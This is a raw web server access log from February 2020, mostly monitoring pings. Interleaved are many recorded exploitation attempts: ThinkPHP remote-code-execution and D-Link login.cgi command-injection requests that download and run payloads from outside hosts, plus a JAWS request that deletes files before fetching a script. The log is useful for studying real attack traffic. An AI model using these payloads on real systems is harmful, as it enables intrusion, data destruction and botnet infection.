1.53.177.231 - - [09/Feb/2020:11:55:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.88.71.249 - - [09/Feb/2020:11:55:32 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
124.43.8.138 - - [09/Feb/2020:11:56:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.6.52.53 - - [09/Feb/2020:12:04:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.49.35.216 - - [09/Feb/2020:12:05:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:12:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.210 - - [09/Feb/2020:12:09:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.7.208.18 - - [09/Feb/2020:12:10:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:12:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.42.3.76 - - [09/Feb/2020:12:10:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.90.207.139 - - [09/Feb/2020:12:12:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:12:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.160.50 - - [09/Feb/2020:12:13:22 +0100] "GET / HTTP/1.1" 200 1229 "https://jobgirl24.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.119.160.50 - - [09/Feb/2020:12:13:23 +0100] "GET / HTTP/1.1" 200 1229 "https://jobgirl24.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
212.91.246.72 - - [09/Feb/2020:12:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.160.50 - - [09/Feb/2020:12:13:23 +0100] "GET / HTTP/1.1" 200 1229 "https://jobgirl24.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
212.91.246.72 - - [09/Feb/2020:12:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.190.47 - - [09/Feb/2020:12:15:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.121.170 - - [09/Feb/2020:12:15:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
64.227.55.76 - - [09/Feb/2020:12:15:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
70.95.63.117 - - [09/Feb/2020:12:18:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.244.253 - - [09/Feb/2020:12:19:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.213.65.155 - - [09/Feb/2020:12:19:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.142.64 - - [09/Feb/2020:12:19:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.80.171.253 - - [09/Feb/2020:12:21:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:12:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.160.239 - - [09/Feb/2020:12:21:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.4.86.23 - - [09/Feb/2020:12:22:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.186.78.141 - - [09/Feb/2020:12:25:31 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
60.22.55.223 - - [09/Feb/2020:12:26:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:12:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.149.160.10 - - [09/Feb/2020:12:29:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [09/Feb/2020:12:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.74.31.159 - - [09/Feb/2020:12:35:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
213.14.182.204 - - [09/Feb/2020:12:36:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [09/Feb/2020:12:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.143.248.189 - - [09/Feb/2020:12:37:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [09/Feb/2020:12:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.112.122.110 - - [09/Feb/2020:12:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:12:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.212.236 - - [09/Feb/2020:12:38:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.89.195.61 - - [09/Feb/2020:12:38:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.194.163.203 - - [09/Feb/2020:12:40:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.243.121 - - [09/Feb/2020:12:42:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.46.24.251 - - [09/Feb/2020:12:43:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [09/Feb/2020:12:45:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [09/Feb/2020:12:45:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [09/Feb/2020:12:45:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:12:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [09/Feb/2020:12:45:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.57.34.166 - - [09/Feb/2020:12:45:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.7.155.141 - - [09/Feb/2020:12:45:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:12:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.190.161.109 - - [09/Feb/2020:12:47:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.51.198.147 - - [09/Feb/2020:12:47:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.198.147 - - [09/Feb/2020:12:47:40 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.198.147 - - [09/Feb/2020:12:47:41 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.198.147 - - [09/Feb/2020:12:47:43 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.198.147 - - [09/Feb/2020:12:47:43 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.198.147 - - [09/Feb/2020:12:47:44 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.198.147 - - [09/Feb/2020:12:47:44 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.198.147 - - [09/Feb/2020:12:47:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [09/Feb/2020:12:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.25.202.140 - - [09/Feb/2020:12:48:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.254.59.113 - - [09/Feb/2020:12:49:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:12:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.77.157 - - [09/Feb/2020:12:50:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.254.85.154 - - [09/Feb/2020:12:50:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:12:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.60 - - [09/Feb/2020:12:53:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.6.232.78 - - [09/Feb/2020:12:53:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.43.103 - - [09/Feb/2020:12:54:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:12:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.253.46.175 - - [09/Feb/2020:12:56:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:12:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:12:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.89.86.92 - - [09/Feb/2020:13:02:35 +0100] "GET /wp-login.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [09/Feb/2020:13:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
